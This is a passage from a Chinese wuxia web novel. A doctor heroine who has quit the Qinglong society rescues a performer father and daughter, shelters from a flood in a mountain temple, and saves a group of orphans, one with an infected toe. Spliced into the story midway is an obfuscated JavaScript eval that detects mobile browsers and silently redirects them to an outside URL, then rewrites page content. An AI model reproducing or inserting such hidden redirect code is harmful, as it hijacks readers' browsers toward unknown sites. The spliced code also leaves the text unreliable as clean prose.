尤明姜轻轻拍了拍身上的尘土,套好骡车,打算离开这座繁华的城池,投奔传闻中的日月神教。 . 这江湖,向来都不太平。 尤明姜心里清楚,青龙会财大气粗,势力遍布大江南北,从江南塞北的繁华市井到穷乡僻壤,到处都有他们的耳目。 青龙会对手下极为严苛,“替青龙会做事之人,若不成功,便只有死路一条”的规矩,如同一道紧箍咒,紧紧套在每个成员的头上。 青龙会行事手段狠辣多样,潜伏暗探、内部渗透、策反叛乱、秘密暗杀等,桩桩件件都做得滴水不漏,毫无破绽。 而她作为青龙会的一名医师,又怎能轻易摆脱这江湖的纷争呢? 青龙会的行事作风本就狠辣,尤其过分的是,竟强制香主及以上职级的精英统一纹青龙,这让她极为反感。 当年,尤明姜实在难以咽下这口气,不禁发牢骚道: “瞧瞧这事儿,说得好似我多乐意去纹那劳什子青龙纹身一般。没纹之前,好歹也是个香主,这纹完了,倒成了众人眼里的笑话,跟那待宰的香猪有何分别?小紫,你说是吧?” 旁听的袁紫霞只是笑眯眯的,并未搭话。 没过多久,尤明姜就被青龙会无端发配到了崖州这偏远之地。 所以,那年接到青龙会七月十五分舵的援助请求时,她并未理会,而是一直滞留在崖州。 后来听闻那个分舵遭到重创,至今都未能恢复元气。 她明白,就凭这一点,青龙会肯定不会轻易放过她。 这些年来,尤明姜一直关注着日月神教与青龙会的明争暗斗,暗自期望着胜出的不是青龙会,她可不想再受那青龙纹身的束缚。 话又说回来,开封离登封嵩山派的地盘很近。 既然打算投奔日月神教,就不宜在五岳剑派的势力范围内久留,否则日后若出什么事,难以说清。 要是因此让黑木崖起了疑心,她就是有千张嘴也解释不清。 . 尤明姜赶着骡车,准备去铁匠铺取回前几日定制的几把朴刀。 朴刀由刀头和木柄组成,她定制的正是刀头,其形状似加宽的镰刀。 由于当下对兵器的管控极为严格,而尤明姜向来以温良的乡野铃医形象示人,所以她坚信,只要坚称这几个刀头是镰刀样式,官府就拿她没办法。 此时,月上柳梢,四下光线昏暗,正是去铁匠铺子悄悄取刀头的好时机。 骡车缓缓经过城门口的告示板时,尤明姜的目光随意一扫,却突然看到一张眼熟的画像,整个人顿时愣住了。 那画像上的俊俏青年,不正是刚才在河边遇到的那个人吗? . 这张带画像的告示竟是个悬赏令: “路小佳,男,绰号梅花鹿,年约十八岁,身形矫健,腰间佩有无鞘剑,剑术高超,为人狡黠多诈,喜欢吃花生,且擅长给人戴绿帽子。 此獠骗取本人八十万两白银,还拐走了我心爱的女人,致使我薛大汉人财两空,陷入绝境。 路小佳严重违背江湖道义,望各地官府、江湖豪杰及仁人义士全力缉拿此獠,如有线索或擒获此獠,必有重谢。 提供线索者赏银千两,协助抓捕者赏银五千两,直接将其生擒者,本人愿以白银万两酬谢,并感恩戴德,铭记大恩。 特此通缉! 落款:薛家庄,薛大汉。” . 八十万两白银…… 尤明姜目瞪口呆,这笔钱拿去修建几十里的防水堤坝作工程费都绰绰有余。 她不禁抬头看向那个俊俏青年的名字,“路小佳……”心中暗自思忖,没想到这小子浓眉大眼的,竟是个又骗钱又偷人的不法之徒。 薛大汉那句“擅长给人戴绿帽子”,想必是咬牙切齿写就的。 周围看告示的百姓们也纷纷发问:“这路小佳是干什么的?” 一个凑热闹的镖师压低声音,神秘兮兮地说道:“是个要价极高的杀手、刺客,据说杀一人的酬金至少上万两银子,不认识的可以去打听打听。当初在江湖上横行霸道的邓总镖头,就是命丧其剑下!” “杀手、刺客……”尤明姜皱了皱眉头,心中暗道,“该不会是青龙会新招揽的成员吧?” 她望着路小佳的悬赏令,心中正暗自思忖着青龙会与路小佳存在的关系,周围百姓的议论声还在耳边嗡嗡作响。 就在这时,不远处突然传来一阵喧闹声,将她的思绪猛地打断。 . 尤明姜皱了皱眉头,抬眼望去,只见人群涌动,似乎有什么事情正在发生。 好耳熟的声音…… 她心中一动,赶着骡车,朝着喧闹的方向走去,想要一探究竟。 “老乡,你们在看什么?”尤明姜赶着骡车来到人群中,出声问道。 “您还不知道吧,尤大夫?”尤明姜坐在骡车之上,微微扬了扬嘴角,笑道:“我要是知道,就不会问啦。” 老乡忙不迭地分享消息:“昨儿的迓鼓表演出岔子了,好好的,那灯笼杆子突然砸下来,险些砸伤人,幸好只是摔碎了几只灯笼,可表演滚环的海四爹出了大失误,当时城楼上观景的新任官老爷,脸就拉下来了。” 尤明姜追问:“那现在这是在干什么呢?” 老乡撇了撇嘴,说道:“撵人呢。” 尤明姜眉头一蹙,说道:“不至于吧?只是杂耍表演而已,况且灯笼坏了也不能怪他们啊。” 老乡叹了口气,接着说:“不光是搅黄了表演,据说那海家小姑娘还偷东西呢!” 偷东西? 海红珠怎么会偷东西呢? 尤明姜满心疑惑,拨开人群挤了进去。 只见一个身穿窄袖圆领袍、脚蹬皂靴的厢吏,身后带着几个手持棍棒的厢兵。 海红珠被押着一路出了城门,然后被身后的厢兵一把推在地上。 小脸儿上满是灰尘,双手的雪白纱布也被蹭得黑乎乎的,她还在不停挣扎。 厢吏趾高气扬地一脚踩在海红珠的背上,恶狠狠地说道: “呸!昨夜那般重要场合,恁俩把大人的兴致全给败光了!这还不算完,刚有贵人报案,你竟然还想偷昂贵的口脂!恁俩外乡贼,尽知道做这种勾当!” 海红珠涨红了脸,大声辩解:“我没偷,只是瞧了一眼!” 事实是,海红珠确实没有说谎。事情要从迓鼓表演结束的当夜说起…… 迓鼓表演结束的当夜,海四爹就急火攻心吐了血,还强撑着说没事儿。 等二人回到城外的住处,她才发现海四爹脸色蜡黄,疼得捂着胃,翻来覆去一整夜,还时不时地吐暗红色的血。 海红珠在旧封丘门附近未寻到尤明姜,无奈买了几副药回去,然而海四爹服下后病情未见好转。走投无路的她心一横,打算进城碰碰运气,期望能遇见尤明姜。 路过胭脂铺时,恰好遇到新任官员那位雍容华贵的夫人在挑选口脂。 那个带有伸缩功能的精致牙筒中,装着质地硬实的口脂,在昏黄的灯光下,光耀夺目。 海红珠不由自主地多看了眼。 对平头老百姓而言,几十文的口脂已是一笔不小的开支,能买几斤蔬菜,一二百文的口脂更贵,一般只有新娘子为讨彩头才会购买用于添妆,而装在牙筒里的口脂,其价格远超百姓的消费能力。 可海红珠只是看了一眼,就听到那位夫人尖叫着“抓贼”。这声音惊动了厢兵和厢吏,她就被当成是“潜在的贼人”抓了起来。 杂耍艺人在江湖上四处漂泊,每天累死累活,也就只能勉强糊口。在那些达官贵人眼里,他们不过是用来消遣的,根本不把他们当回事儿。 这夫人跟她那虚伪的丈夫一个样儿,平常就特别瞧不起这些穷苦人。 这不,一口咬定是海红珠打算偷口脂,回府前还特意跟官差们说要好好惩处这事儿。 那家胭脂铺子的口脂颇负盛名,是用胭脂虫制成的,还添加了昂贵的蔷薇水,装在管状镶嵌碧玉的牙筒中,只有达官显贵才用得起。 厢吏冷哼一声,满脸不屑道:“哼,就凭你也敢看?” 他猛地一挥手,将一张盖了官印的驱逐令,狠狠地甩在海红珠脸上,“别在这儿碍眼,给我有多远滚多远!要是再让我见到你们,定将你们送官究治,绝不轻饶!” 说完,他带着手下扬长而去,气焰嚣张。 城门口的百姓窃窃私语,对她指指点点。 . 海红珠看着城门上的匾额,满心悲戚。 泪水在她的眼眶中直打转,可她使劲憋着,就是不让眼泪落下。 尤明姜疾步向前,奋力从人群中挤了过去,将海红珠搀扶而起,带到车篷之下,让她坐在依旧昏睡不醒的铁萍姑 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没过多久,她们仨(铁萍姑还在昏睡中)就抵达了海四爹那略显破旧的茅草屋前。 刚到门口,就见海四爹艰难地挪着出来。 突然,他双腿一软,向前扑倒,接着一口血吐在地上,格外刺眼。 海四爹趴在地上半天不动,他脸色苍白,汗珠滚落,眼神中满是绝望,他知道表演失误,衙门不会放过他们,想到自己拖累了女儿,只觉得自己窝囊透了! “爹爹!”海红珠哭着扑了过去。 海四爹胸膛剧烈起伏,咳声不断,拼尽最后力气强撑着说“我没事”,却被一阵更剧烈的咳嗽打断,整个人蜷缩起来。 “尤大夫,求您救救我爹爹!”海红珠泪眼望向尤明姜,声音带着绝望的哭腔。 尤明姜迅速打开针包,在旁边的磨盘上平整地铺开。 一盏昏黄的清油灯明明暗暗地闪烁,银针泛着冷光。 她稳稳地拿起一根银针,先朝着海四爹头顶的百会穴扎去,又迅速而准确地扎向鼻尖的素髎穴,再在手指尖的十宣穴上轻轻一点刺。 之后,她熟练地按摩海四爹膻中穴,以缓解气血上逆。 尤明姜一边施针,一边观察症状,凭经验判断海四爹是情绪激动引发肠胃出血。 于是,她果断取出4瓶【凝血酶冻干粉】,每瓶500单位,和2粒【奥美拉唑肠溶胶囊】,小心喂给海四爹。 . 【叮!尊敬的少侠,您在开封城外的茅草屋中行侠仗义,成功拯救一名急火攻心的弱质男流,义酬已发放到您的竹编药篓。】 义酬如下: 【3%过氧化氢消毒液100ml*1瓶】 【莫匹罗星软膏10g*1支】 【维生素E软胶囊0.5g*200粒】 【特发此礼,以资鼓励,望少侠戒骄戒躁,再接再厉。】 这时候,系统播报声就是对她的肯定。 尤明姜松了口气。 . 海四爹病情缓解,父女俩抱头痛哭,哭声里有太多的心酸。 尤明姜心中酸涩,在磨盘上放下一根红布包裹的野山参,叹了口气,“二位保重。” 她转身要走,海四爹和海红珠相互搀扶着,步履蹒跚地挪至骡车前,双膝一弯,重重地跪了下去。 “尤大夫,求您带上我们吧!我们爷俩走投无路,实在没地方可去了。” 海四爹老泪纵横,“恳请您让我们跟着,哪怕做牛做马都行。” 海红珠也哭着哀求:“尤大夫,您行行好!我能烧水煮饭、砍柴打水,什么粗活都能干,而且我还识字,吃得了苦。求您收下我们,哪怕上刀山下火海,我们也心甘情愿。” 父女俩知道尤明姜的日子也过得紧巴巴,多了两张嘴,这些开销对她是负担,也确实走投无路了,才厚着脸皮张这个嘴。 望着眼前这可怜的父女俩,心中不禁泛起一阵恻隐之情,她抿了抿嘴,咬咬牙道: “罢了,救人救到底。既然你们想跟着走,那就来吧。” 说完,她对父女俩招了招手。 就这样,尤明姜的骡车上又多了一老一少。 车辙在黄土路上蜿蜒,骡车辚辚而行,扬起滚滚黄尘,渐没于夜色之中。 . 7. 景阳冈 阳谷县,张秋镇,未时三刻。 “咱走到哪儿了?”尤明姜探出头询问。 为方便轮流赶车,她穿着农家短打,确实舒适不少。 海四爹紧了紧蓑衣,应道:“到阳谷县喽。” 细雨洒在车篷上,尤明姜给熟睡的两个小姑娘掖好毯子,轻叹了口气。 自黄河下游水位上涨,她便隐隐有了不祥之感。 果不其然,黄河在新乡八柳树决口,洪水直扑张秋镇,漕运河道也被冲毁。 放眼望去,淤泥快到大腿处,洪水尚未全退,水面漂着烂木板、破衣裳和死鸡死鸭,腥味刺鼻,四周断壁残垣,一片狼藉。 “咱该怎么办?”海四爹望向尤明姜这个主心骨。 尤明姜深吸一口气,镇定地说:“别慌,往山里高处走!” 海四爹赶着骡车,大声吆喝着,不断拉缰绳。 骡子在淤泥中艰难地深一脚浅一脚前行,每一步都耗费极大力气。 尤明姜索性跳下车,在没膝的淤泥里奋力推车。 景阳冈在阳谷县,是一片满是乱树林的山岗,荆棘丛生,道路崎岖难行。 听闻山上常有猛兽出没,除艺高胆大的猎户,鲜有人敢涉足。 此次洪水冲毁不少猛兽巢穴,食物也被冲走,它们便跑到地势高的山头。 现在猛兽没进村觅食,众人都觉庆幸。 这种时候,谁还敢上山招惹猛兽? 海四爹赶着骡车,瞧见个被遗弃的山神庙。 庙虽破旧,但屋檐瓦片齐整,地基较高,算是个意外之喜。 人困骡乏,海四爹一到晚上就看不清东西,不便赶车。 于是,尤明姜拍板决定就在这儿歇下。 · 海四爹把车卸了下来,好让骡子松快松快,又把苜蓿草和麦麸搅拌均匀了,喂给骡子,还不忘检查骡子蹄子。 海红珠坐在角落,围着火堆上的陶钵炖汤。 尤明姜给了她一块豆腐及盐、花椒、葱姜等调味料。 海红珠没问这些东西的来历,她只知道尤明姜是主心骨,不该问的事不要问。 她眨巴着眼睛,往火堆塞了把干草,火苗一蹿一蹿的,忙拿树枝拨火。 接着把豆腐切成小块,用猪油煎至金黄,加足清水,放入姜丝和豆腐块炖煮,出锅前撒盐和葱花。 火候差不多了,海红珠把豆腐汤盛出,端给尤明姜。 · 铁萍姑终于苏醒了。 她身下是软塌塌的苇席,下面铺着厚厚的干草,可在这潮湿环境仍难受;身上则盖着小毯子,散发着紫云膏的淡淡清香,这味道让她安心。 铁萍姑挣扎着想坐起来,浑身疼得险些跌回去,却被一双温柔的手揽住了肩膀。 “还疼?” 铁萍姑抬眼,看着尤明姜的笑脸,讷讷说不出话。 她深知自己像个包袱,被这世界上唯一接纳她的人收留。 “那个男人……”铁萍姑声音紧张地问。 “他?正和他的宝贝蜂蜡在一起呢。”尤明姜平淡地说。 铁萍姑当时被打得睁不开眼,只记得尤明姜把男人踹到墙上,不知后来怎样。 她还想追问,尤明姜竖起手指放在唇边,摇头示意别问,她便猜出男人下场。 “尤大夫,你的手是救人的……”铁萍姑满心愧疚。 尤明姜打断她:“不过是路见不平。” “我一直拖累你。” “在我看来,没拖累,可你老这么说,我会烦。” 但铁萍姑仍惴惴不安,心里没底。 连亲爹都能抛弃自己,尤明姜能收留自己多久? 理智告诉她尤明姜不是那样的人,可感性上“一朝被蛇咬,十年怕井绳”,她怕自己好不起来,拖累尤明姜,担心自己被她像李大嘴一样抛弃。 “尤大夫,我一无所有,没你,我早被卖了。” 铁萍姑虽没直说,但满脸写着“你为什么要这样帮我”。 “我不为什么,”尤明姜轻声说,“我一向喜欢做好事。” 铁萍姑哽咽着说不出话来,她真希望自己赶紧好起来,不要再拖累尤明姜了。 就在这时,海红珠喊道:“尤姐姐,汤好了。” 尤明姜接过汤碗,豆腐汤盛在一只粗糙的陶碗里,豆腐酥烂,汤汁奶白。 “来,把汤喝了。” 尤明姜扶起铁萍姑,让她靠在自己肩上,轻轻端起碗,拿起勺子搅动几下,舀起一勺汤,吹了吹,缓缓递到铁萍姑嘴边。 之前给铁萍姑检查,发现她蜂毒未清,又因长年累月营养不良,身体极为瘦弱,全身新伤旧痕交错。 尤其是小腹上,淤青看起来十分骇人,肋骨处伤势最重。 所幸脾脏位于左侧肋弓后方,受肋骨庇护,不然脾脏大概率已破裂…… 所以这些时日,铁萍姑一直昏昏沉沉,未曾彻底苏醒。 铁萍姑微微张嘴,咽下勺子里的汤,温热的汤顺着食道流进胃里,比什么暖心话都熨帖。 “慢点喝,”尤明姜一手端碗,一手轻拍她的背,“小心别呛着。” 看着她喝光了豆腐汤,尤明姜笑了起来,将空碗放在一旁,扶她躺下: “你什么都不要想,什么都不要管,你的身体要慢慢调养,相信我,嗯?” · 躲在草丛偷看的小何,偷偷咽唾沫,舔舔嘴巴,肚子饿得叽里咕噜响。 是豆腐啊…… 他眼巴巴看着山神庙里的人喝豆腐汤,饿得前胸贴后背,肚子更加难受了。 细雨淋得他浑身湿漉漉,可他还是舍不得走,使劲皱着小鼻子,闻豆腐汤的香味儿。 他贪婪地盯着那一锅豆腐汤,手指塞到嘴巴里嘬了会儿,喉咙不自觉滚动。 豆腐汤是什么味道呀?真希望喝到汤的人是他。 看了好一会儿,破庙里走出一道颀长的身影。 那人肩上背了只竹编药篓,手里握着一根粗树枝,弯下腰检查着周遭环境。 药篓? 小何眼睛一亮,跌跌撞撞跑回了自己“家”的破烂草棚。 · 破烂草棚里,十三四岁的高寄萍正在煮一大锅野菜汤。 锅里没有一粒粮食、一点肉和一丝荤腥,除了蕨菜、马齿苋,就是苦菜和蒲公英,野菜味道苦涩难吃,但有一口热汤喝,已经很不容易了。 如今张秋镇遭洪灾,朝廷不知道什么时候才会来救济大伙儿。 为了活命,大人们抡锄头争抢,她带着四个半大小子,没办法才冒险上山,把命运交给天意。 她赖在阳谷县,一来是没力气再逃,二来也因张秋镇是漕运命脉,朝廷定会来治洪。想起一路逃荒到这儿,她实在是太累了。 她想,这里的土地不像家乡那么贫瘠,撑过了这个难关,好日子总在后头。 高寄萍知道,自己在别人眼里或许很可笑,一个孤儿连自己都养不活,还收养一个又一个孤儿。 但她就是拿出了一个又一个冷硬馒头,硬是把叶翔、孟星魂、石群、小何这几个孩子捡了回来。 这几个孩子里,最大的叶翔才五六岁,不救能怎么办呢? 人心都是肉长的,她实在不忍心看着一个个孩子活活饿死。 高寄萍扭头看了眼叶翔,眼泪在眼圈里打转,心想这孩子该怎么办? 叶翔躺在一个草垛上,嘴里小声地呻吟着。 左脚大脚趾已经化脓了,整个人高烧不退,神志不清,嘴里不时说着胡话。 石群和孟星魂围在他身边,努力给他擦汗,想让他好受些。 不一会儿,黑黢黢的野菜汤滚开了,一股子涩味儿扑面而来,高寄萍把野菜汤倒在几个缺口的陶碗里。 听说蕨菜、蒲公英、苦菜、马齿苋之类的野菜,都是清热解毒的药材,达官显贵家经常会品尝一种鸡汤熬煮的荠菜小馄饨,馅料里还要加入虾仁,提一提鲜。 美名其曰:“忆苦思甜”。 但高寄萍看了一眼小脸蜡黄的孩子们,心里苦笑,他们是连多喝一口野菜汤都担心不够分的孤儿,还谈什么忆苦思甜? 孟星魂与石群早已饿得前胸贴后背,此刻见了野菜汤,冲上前就捧起了各自的破烂陶碗,刚一碰到碗沿,便被烫得“嘶”了一声,却还是一边倒吸着凉气,一边将那野菜汤匆匆往嘴里送。 野菜汤虽说只能 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两个孩子摇晃着叶翔,抽抽噎噎地喊:“叶翔,不要死,呜呜呜。” 就在这时,一个浑身湿漉漉的小小身影冲了进来,兴奋地大喊: “大姐,大姐!” “叶翔有救啦,我看见大夫啦!” · 第二天,难得的艳阳高照。 看到太阳出来,尤明姜没有吵醒两个小姑娘,自己一个人在院子里活动。 她决定检修车辕。 车辕越稳固,骡子越好使劲,能减少骡车颠簸,这样铁萍姑能躺得更安稳。 海四爹这个人挺机灵的,但对修车这一类的技术活儿不太懂。 尤明姜体恤海四爹赶车太累,不让他插手,只叫他去歇着,还给他开了个竹叶石膏汤的方子,叫他自己熬着喝。 尤明姜蹲在骡车旁,用麻绳捆绑车辕和车架连接处,又打了几个铆钉,在车辕两侧安装木头支架。 她正忙得不可开交,一抬头,瞧见不远处站着个小姑娘,差点被铆钉砸到手。 尤明姜“嗖”地站起来,头上冷汗直冒。 真是大意了。 脱离青龙会以后,日子太安逸,连这点警惕心都没了。 幸亏这个小姑娘不是杀手。 那是一个十三四岁的小姑娘,瘦骨伶仃的,眼睛直勾勾地盯着尤明姜。 “小妹,有什么事吗?”尤明姜问她。 她咬了咬嘴唇,不说话。 尤明姜擦了擦冷汗,转身走到了石阶处,小姑娘也跟着她走到了石阶处。 尤明姜站在石阶上,低头看着她:“小妹,你老是跟着我干嘛?” 想了想,她从竹编药篓里掏出两张薄饼,递给小姑娘:“饿了吧?给。” 小姑娘却没有接。 尤明姜更是一头雾水。 · 高寄萍定定地望着眼前的人。 只见这人粗麻短打,行缠草鞋,蜂腰猿臂,天生仰月唇,看起来善良温柔。 同样,高寄萍也一眼看到她背着的竹编药篓。 果然是个大夫啊。 她眼眶里的泪,像决堤的洪水,从心里流到腮边。 泪珠噼里啪啦地滴下来,滴在紧握着的双手上,溅起小小的水花。 “小妹……”尤明姜紧了紧竹编药篓,不明所以地看着她。 高寄萍怯生生地走上石阶。 尤明姜依旧伸着那只拿着薄饼的手,纹丝未动。 高寄萍脚步虚浮,面容憔悴,想来是这些天野菜汤充饥,饿到了极点,连说话都有气无力。 “这位好心的大夫,求您发发慈悲,搭把手,救一救我的家人吧。” 她声音带着一丝颤抖,“只要您愿意救人,我……我愿意做任何事。” 高寄萍决定用自己的童贞,去为叶翔换取一条活路。 这是一个女孩子在绝望中的无奈之举,也是她能想到的唯一办法。 “求求您了!我愿意陪您睡觉!” 尤明姜猛地抬起头,眼中满是震惊。 · 8. 甲疽 “我真的没办法了……”高寄萍声音低闷,哭腔中带着一丝丝绝望。 这乱世之中,药比金子还贵。 活着太过艰难…… 贫穷的滋味着实难受。 穷,意味着饥饿,意味着疾病,意味着在失去面前毫无还手之力。 要是能选择,高寄萍也盼着有一件体面衣裳,吃一顿体面的饭食,还盼着…… 做个体体面面的人。 但此刻,她只能像只待宰的羔羊,被动地等待着对方的抉择。 眼前的“男人”清了清嗓子,说道:“我是个女人。” 高寄萍的小脸瞬间惨白,心也猛地一沉。 她心想,这下自己不仅要不到药,说不定还会招来一顿毒打。 像她这样被生活逼至绝境,为求生存不择手段,被人视作水性杨花的女子,在这残酷世间,必定会遭到狠狠的惩戒吧? 她扬起脸,双眼紧闭,身体微微颤抖,静静等着那想象中即将落下的凶狠巴掌。 尤明姜歪了歪头,大拇指抵住食指,瞄准高寄萍的额头,轻轻弹了一下。 高寄萍“哎哟”一声,下意识地缩了缩脖子,错愕地睁开双眼。 眼前之人正笑眯眯地瞧着她,语气温柔道:“饿吗?” 她眼中没有厌恶,唯有满满的疼惜。 疼惜…… 高寄萍心底猛地一酸,眼底瞬间泛起一层水雾,她又是慌乱地摇头,又是急切地点头。 她声音带着一丝哽咽:“饿。” 尤明姜把两张薄饼塞到她手里,轻声安抚她:“你先垫垫肚子,告诉我人在哪儿,我去救他,好不好?” 高寄萍人也很机灵,嘴皮子极为利索,立刻报上了破烂草棚的位置。 目光黏在那两张薄饼上,高寄萍的眼神中流露出一丝渴望,双手却揪住那条满是窟窿的裤子,身子往后缩了缩,不肯接。 · 高寄萍觉得难为情极了。 她想着,几个更小的孩子每日喝的都是清汤寡水的野菜汤,自己却在这儿偷偷吃着饼子,她还配做大姐吗? 这种强烈的负罪感,紧紧笼罩着她,挥之不去。 “填饱肚子,不必愧疚,”尤明姜像是看透了她的心思,轻轻摸了摸她的头,“乖,小孩子别想太多,想多了,个头可就长不高喽。” 这句话像是夏夜的凉风,让她焦虑燥热的心平静了下来。 高寄萍眼中滚下泪来,她许久未曾被人当作孩子疼爱过了。 一直被唤作“大姐”,她几乎忘了自己还是个孩子。 她瘦弱的后背微微颤抖,慢慢伸出满是老茧的粗糙小手,接过薄饼的那一刻,眼泪也跟着簌簌落下,面饼混着泪水,咸咸的,但她吃得格外香甜,只觉得这饼子是世上最美味的食物。 问清了高寄萍家人的位置后,尤明姜生怕她被饼子噎着,转过头,朝庙里面喊了一声:“红珠——” 海红珠偷听了好一会儿,听到尤明姜的呼唤,立刻“吧嗒吧嗒”跑了出来。 “尤姐姐,什么事呀?”海红珠说话甜甜的。 “带这位小妹去喝热水,吃饼子,她和你身量差不多,先拿一件你的衣裳给她,好吗?”尤明姜和声询问。 “好的。”海红珠一脸好奇,上前扶着高寄萍到破庙里歇歇脚。 高寄萍一边走,一边回头,那道颀长的身影就像一块沉稳的磐石,稳稳地压在她不安的心头,成了她这朵浮萍的依靠。 她动了动嘴唇,似乎想说些什么,可喉咙里只是发出几个含糊不清的音节。 “别担心,相信尤姐姐,”见高寄萍一个劲儿地扭头张望,海红珠眼睛亮晶晶的,语气坚定地说道,“尤姐姐是天下最厉害的人。” · 深山老林里常有猛兽出没,尤明姜在山神庙里留下了充足的食物和火折子,又迅速将朴刀组装好,递给海四爹一把。 她神色凝重,反复叮嘱海四爹: “一定要紧闭山神庙的大门!” “在我回来之前,无论听到任何风吹草动,哪怕只是一片树叶飘落的细微声响,都绝不能贸然开门。” “但凡有强行闯入山神庙、意图伤害你们的人或野兽,无需犹豫,抡起朴刀砍去便是,一切后果由我承担。” 趁着天色尚早,尤明姜立刻去找那几个落单的孩子,她心中只有一个念头,务必在天黑之前,将这几个孩子带回山神庙。 尤明姜刚赶到破烂草棚,就听到三个孩子声嘶力竭的哭声。 她心中一凛,凑近一看,原来是一头皮糙毛杂的老灰狼,正用它那锋利的爪子拼命扒着门缝,试图钻进草棚里。 它的眼睛闪烁着凶狠的绿光,时不时又刨又钻,整个草棚摇摇欲坠。 这几个孩子居住的草棚,是用一些粗树枝、破烂木板、茅草胡乱搭建而成的,里面存放着些锅碗瓢盆之类的物件。 这些在大人眼中或许不值一提的东西,对于孩子们来说,却是他们从洪水中侥幸打捞上来的“宝贝”,所以,他们才会给这个简陋的草棚安上一扇门。 那扇门歪斜地挂在门框上,摇摇欲坠,说难听些,只是个勉强能遮挡一下的木板而已,根本无法抵御这头饥饿凶狠的狼。 狼是群居性动物,尤其是在这种食物匮乏的洪水期间。 这头狼极有可能是狼群中的老弱病残,被驱赶出来,为了生存,它不得不独自冒险寻找食物,而这几个孩子居住的草棚,便成了它眼中的猎物目标。 尤明姜冲上前,挥手就是一朴刀,直接砍掉了狼脑袋! 杀死这头老灰狼之后,她又特意围着草棚转了一圈,确定没有其他狼在草棚周遭打洞,才上前叩响了破烂门板。 · 几个孩子听到敲门声,身体猛地一僵,眼睛惊恐地看向紧闭的屋门,互相搂抱在一起。 小何声音带着一丝颤抖:“石群,星魂,狼会敲门吗?” 尤明姜把狼的尸体踹进了草棚前的水沟里,用衣摆擦了擦朴刀上的血迹,听到草棚里的声音,扬声说道:“别怕,我是来救人的。” 小何有些心动,石群却一把拽住了他的胳膊。 “别去,万一……万一是个坏人怎么办?” 小何拍了拍石群的肩膀,“外面要是坏人,早就一脚把门踹开了,还用得着跟咱们说话吗?” 两个孩子说话间,孟星魂已经悄悄走到门口,透过门缝打量着外面的人。 外面站着个身着男装的女人,脸上未施脂粉,嘴上没涂膏脂,身姿高挑,比寻常男子还要高上几分,手里抡着一把朴刀,衣服上溅着那头老狼的血。 看起来像个母夜叉。 母夜叉开口说话了:“孩子们,我是你大姐叫来救人的,快让我进去。” 孟星魂看得心惊肉跳:“你说你是我大姐叫来的,那你说说我大姐叫什么?” 尤明姜:“……” 糟糕,自己忘记问了。 孟星魂鼓足了勇气,继续追问:“你说你来救人的,你要救的人叫什么名字?” 尤明姜:“……” 坏事儿了,这个也答不上来。 一连回答不上来两个问题,里面的三个孩子显然比外面的尤明姜还紧张,声音都带着哭腔,胡编乱造一堆话,试图吓唬她: “呜呜呜,你不要进来!” “我爹娘马上就回来了,他俩饶不了你!” “我大姐会绝世武功……” · 得。 再耽搁下去,恐怕夜长梦多。 尤明姜心中一横。 她上前一步,双手扳住门板,直接把门卸了下来。 草棚里顿时像炸开了锅,孩子们像是一群受惊的知了猴,发出了更加尖锐刺耳的叫声。 尤明姜眼神迅速在草棚里一扫,精准地找到了那个躺在草垛上、小脸烧得通红、没穿鞋子的孩子。 她上前一摸,那孩子额头滚烫,心中不由一紧。 其他孩子看到她把叶翔背了起来,立刻冲过来想要拯救自己的兄弟。 尤明姜以迅雷不及掩耳之势,将吱哇乱叫的几个孩子一一擒住,分别点了他们的穴道,一个扛在肩上,另外两个提溜在手里。 “嘿嘿,又能吃新鲜的小猪肉了。” 尤明姜故意舔了舔嘴唇。 “哇!”除了昏睡的叶翔,几个孩子都扯着大嗓门哭了起来。 声音在山林中回荡着,久久不散。 · 被拎进山神庙后,呲哇乱叫的仨孩子一见到高寄萍,瞬间变成一个个小鹌鹑。 尤明姜把他们仨放下来,让他们三个贴墙根站着去。 然后,她将叶翔放在了神案上。 高寄萍凑上前来,想搭把手,却被尤明姜打发到一边去洗帕子。 叶翔的左脚趾肿得厉害,已经化脓,破溃的脓液沿着甲沟流下。 只是一眼,她就看出来了,叶翔这是患了甲疽,才会一直不退烧。 尤明姜尝试着将一片对乙酰氨基酚片,直接给他怼到嗓子眼儿,兴许是药片比较干燥,叶翔没有顺利咽下肚。 她干脆将对乙酰氨基酚片捣碎成了粉末,兑上一小勺蜂蜜水,送服到叶翔的嘴里。 大抵是孩童都比较嗜甜,这一次,叶翔顺顺当当地吞咽了下去。 · ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845513|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海红珠在一旁给铁萍姑的伤口换药,海四爹就接手了煮饭的营生。 他舀了一瓢小米,淘米的温泔水盛在一旁的旧木盆里,留着洗脸用。 尤明姜洗净手,戴上一双用白术、艾草、零陵香熬煮的葛布手套。 她一边检查患处,一边催促:“把那一盆温泔水端过来。” 没有人理睬她。 她微微一愣,抬起头来,看向了站在墙根边上的几个呆孩子。 孟星魂、石群、小何呆呆地望着高寄萍。 他们仨嘴巴张得圆圆的,眼睛瞪得圆圆的,第一次见到打扮成这样的大姐。 藕粉抹胸窄袖衫,合裆麻裤绿头繻,头发扎成了双鬟。 从头到脚,焕然一新。 这一身苎麻料子的衣衫,难得的没有补丁。 海红珠将自己最好的一身行头,送给了这个初次见面的小妹。 绿头繻是铁萍姑的。 她中途醒来一次,没来得及说两句话,又睡过去了。 铁萍姑将自己最鲜亮的一条头繻,送给了和自己一样身世飘零的浮萍。 高寄萍不禁有些受宠若惊,但短暂的惊喜过后,心中的惶恐却如潮水般涌来。 自己真的配得上这么好的东西吗? 这份恩情越欠越大,她该做些什么才能还得上呢? 高寄萍一边纠结,一边将洗好的温热帕子,麻利地给叶翔敷在额头上。 · 顺着几个孩子的目光,尤明姜的眼光落在了高寄萍的身上,不禁眼前一亮。 她毫不吝啬地夸赞:“真好看,这一身很衬你的可爱嘛,红珠的眼光真好。” 大伙儿听后都笑了起来,庙里头略微隔阂的气氛,渐渐地融洽了起来。 高寄萍低下头,眼神游离,不敢迎上众人的视线,忙不迭地端过那一盆温泔水,她不嫌脏,不嫌累,悉心帮叶翔洗干净了两只小泥脚丫。 至于溃脓的脚趾,则是用竹筒里的淡盐水进行了冲洗。 